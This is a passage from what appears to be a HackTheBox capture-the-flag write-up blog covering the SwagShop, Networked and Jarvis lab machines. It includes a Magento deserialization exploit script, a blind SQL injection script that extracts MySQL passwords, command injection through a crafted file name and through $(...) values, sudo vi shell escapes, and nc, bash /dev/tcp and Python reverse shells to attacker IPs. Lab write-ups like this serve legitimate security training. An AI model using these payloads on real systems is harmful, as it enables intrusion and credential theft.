class="cl"&gt; &amp;#39;EXTERMINATE!!!!\&amp;#34;;}s:22:\&amp;#34;\00*\00_subjectPrependText\&amp;#34;;N;s:10:\&amp;#34;\00*\00_layout\&amp;#34;;O:23:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Zend_Config_Writer_Yaml\&amp;#34;:3:{s:15:\&amp;#34;\00*\00_yamlEncoder\&amp;#34;;s:%d:\&amp;#34;%s\&amp;#34;;s:17:\&amp;#34;\00*\00&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;_loadedSection\&amp;#34;;N;s:10:\&amp;#34;\00*\00_config\&amp;#34;;O:13:\&amp;#34;Varien_Object\&amp;#34;:1:{s:8:\&amp;#34;\00*\00_data\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;;s:%d:\&amp;#34;%s\&amp;#34;;}}s:8:\&amp;#34;\00*\00_mail\&amp;#34;;O:9:\&amp;#34;Zend_Mail\&amp;#34;:0:{}}i:1;i:2;}}&amp;#39; % (len(php_function), php_function,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; len(arg), arg)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tunnel = &amp;#34;http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = base64.b64encode(payload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh = md5(payload + install_date).hexdigest()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exploit = tunnel + &amp;#39;?ga=&amp;#39; + payload + &amp;#39;&amp;amp;h=&amp;#39; + gh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print exploit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;arg is the command you want to execute.&lt;/p&gt;&#10;&lt;p&gt;install_date comes from /app/etc/local.xml.&lt;/p&gt;&#10;&lt;p&gt;After obtaining tunnel, keep only the key and delete everything after it.&lt;/p&gt;&#10;&lt;p&gt;Just visit the URL produced as exploit.&lt;/p&gt;&#10;&lt;p&gt;A bash reverse shell did not work in testing, so I used nc and got a connection back.&lt;/p&gt;&#10;&lt;p&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 1234 &amp;gt;/tmp/f&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Getting the initial external foothold here demanded a fairly high level of code-auditing skill.&lt;/p&gt;&#10;&lt;p&gt;Privilege-escalation information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I originally thought I needed to escalate to haris, but one look at sudo -l revealed a conventional privilege-escalation path.&lt;/p&gt;&#10;&lt;p&gt;sudo /usr/bin/vi /var/www/html/api.php&lt;/p&gt;&#10;&lt;p&gt;Enter :!/bin/sh directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Overall, the hard part was not that the cms itself was especially difficult, but that it was so old. I had to modify scripts and audit code myself. At first I thought the code was written too abstractly, but looking at it later, it was actually correct; there were simply too many things to determine. Most of the time was spent obtaining the initial external foothold.&lt;/p&gt;&#10;&lt;h2 id="11networked"&gt;&lt;a href="#11networked" class="header-anchor"&gt;&lt;/a&gt;11.Networked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll get straight to the point: there wasn&amp;rsquo;t much here. It was mainly a code audit.&lt;/p&gt;&#10;&lt;p&gt;I reviewed all three files from start to finish and found no vulnerabilities at all. The only thing I noticed was its rather distinctive file-naming scheme.&lt;/p&gt;&#10;&lt;p&gt;There was still nothing after the audit, so I had no choice but to read a write-up. It was a bit mind-blowing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0" target="_blank" rel="noopener"&#10; &gt;https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html" target="_blank" rel="noopener"&#10; &gt;https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I don&amp;rsquo;t know whether the box is just too old or what, but this was my first time seeing this kind of bypass.&lt;/p&gt;&#10;&lt;p&gt;There was actually a hint, though.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When you see an obvious API function as a hint, search for vulnerabilities in it directly.&lt;/p&gt;&#10;&lt;p&gt;Another lesson learned. The conclusion from those links above is this:&lt;/p&gt;&#10;&lt;p&gt;You only need to fool the code by uploading a php.gif file containing PHP. The server will then automatically parse it as PHP code.&lt;/p&gt;&#10;&lt;p&gt;Pretty ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s just pop a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation and information gathering.&lt;/p&gt;&#10;&lt;p&gt;I found an obvious privilege-escalation path in the home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This scheduled task runs every three minutes, probably as guly. I could upload pspy32 to check, but there was no need.&lt;/p&gt;&#10;&lt;p&gt;It takes a value, and that value can be appended inside exec.&lt;/p&gt;&#10;&lt;p&gt;So all we need is command concatenation: nohup /bin/rm -f $path$value &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;We know path is /var/www/html/uploads/, while value is one of the files below it.&lt;/p&gt;&#10;&lt;p&gt;Under uploads, run touch &amp;ldquo;1;nc -c sh 10.10.16.13 6666 &amp;amp;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;That will send a shell back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Standard privilege-escalation enumeration. Let&amp;rsquo;s see what this file is.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through it but couldn&amp;rsquo;t find a problem, so I Googled the configuration name directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://seclists.org/fulldisclosure/2019/Apr/24" target="_blank" rel="noopener"&#10; &gt;https://seclists.org/fulldisclosure/2019/Apr/24&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Switch users directly at NAME and see what happens.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. At first I thought this would be pure code auditing. After spending ages on it, I didn&amp;rsquo;t expect this kind of box to lean more toward exploit use and search skills. In the future, whenever I encounter a hint or a framework, I should search for a payload immediately.&lt;/p&gt;&#10;&lt;h2 id="12jarvis"&gt;&lt;a href="#12jarvis" class="header-anchor"&gt;&lt;/a&gt;12.Jarvis&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I probably shouldn&amp;rsquo;t scan it, or I&amp;rsquo;ll get banned.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Add both domains to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding the domains didn&amp;rsquo;t seem to change anything. Let&amp;rsquo;s keep looking.&lt;/p&gt;&#10;&lt;p&gt;It seems that as long as I don&amp;rsquo;t attack port 64999, I won&amp;rsquo;t get banned. I even ran directory brute-forcing without a problem. This banning mechanism is strange; perhaps something nmap does triggers it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an obvious injection point. OSCP doesn&amp;rsquo;t allow tools such as sqlmap, so I&amp;rsquo;ll test it manually.&lt;/p&gt;&#10;&lt;p&gt;At this point I didn&amp;rsquo;t know the absolute path. Testing showed the current user wasn&amp;rsquo;t root, and I didn&amp;rsquo;t know whether it had write permission or what the absolute path was.&lt;/p&gt;&#10;&lt;p&gt;All of those factors prevented me from writing a shell, but I found a phpmyadmin instance.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://supersecurehotel.htb/phpmyadmin/index.php" target="_blank" rel="noopener"&#10; &gt;http://supersecurehotel.htb/phpmyadmin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The path forward was clear: extract the current user&amp;rsquo;s username and password, then log in and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.143&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=2c1jempek07j9n0fdtce3bcgn7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;2.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(1,18):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;3.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(2,1000):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(len(response.text))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I wrote a script.&lt;/p&gt;&#10;&lt;p&gt;2.txt contains uppercase letters (A-Z), lowercase letters (a-z), digits (0-9), _, and -.&lt;/p&gt;&#10;&lt;p&gt;3.txt contains possible password characters. The first character is definitely * and is useless; everything after it is made up of characters, so a character dictionary is enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If you use select user() to retrieve the account, it will have @localhost appended.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;The version is 4.8.0, so just find a matching exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;50457 looks usable.&lt;/p&gt;&#10;&lt;p&gt;There are plenty of vulnerabilities once you can access the phpMyAdmin backend. Command execution succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation. My plan was to stop focusing on the website: I already had the current user&amp;rsquo;s credentials, the site had nothing else, and there was no need to inspect its configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There is a log under the pepper directory that records our attacks.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s do the usual privilege-escalation checks. There is still something here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is the path forward. Let&amp;rsquo;s inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First upload pspy32 and monitor processes in another window, then come back to this. I mainly wanted to catch anything unexpected; if I finished this first, I might miss some processes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found several interesting things.&lt;/p&gt;&#10;&lt;p&gt;But let&amp;rsquo;s keep monitoring and inspect that file from earlier first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the key point.&lt;/p&gt;&#10;&lt;p&gt;Pass -p as the first argument.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking back at the function, it filters the input and rejects concatenation characters. I couldn&amp;rsquo;t think of a bypass.&lt;/p&gt;&#10;&lt;p&gt;Based on previous boxes, this time I thought to Google it directly using English terms.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass" target="_blank" rel="noopener"&#10; &gt;https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That led me to a useful article.&lt;/p&gt;&#10;&lt;p&gt;sudo -u pepper /var/www/Admin-Utilities/simpler.py -p&lt;/p&gt;&#10;&lt;p&gt;127.0.0.1$(cat /home/pepper/user.txt &amp;gt;/tmp/2)&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(cat /home/pepper/user.txt)&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s test command concatenation.&lt;/p&gt;&#10;&lt;p&gt;Both work: one writes directly to a file, while the other causes an error and prints the output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully read the file. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I tried many things here before coming up with a good approach. It rejects -, but every reverse-shell method needs it. Switching users with su also failed because it required a password.&lt;/p&gt;&#10;&lt;p&gt;Write the reverse-shell command directly into a file: echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6661&amp;rsquo;&amp;rdquo; &amp;gt; /tmp/1.sh&lt;/p&gt;&#10;&lt;p&gt;Then call it directly through command concatenation:&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(sh /tmp/1.sh)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell connected back successfully, but there was another problem: this new shell depended on the old one to stay alive. If the old shell disconnected or anything happened to it, the new one became completely useless. The reverse-shell script itself must have been flawed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to a Python script fixed it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.10.10.10&amp;#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; 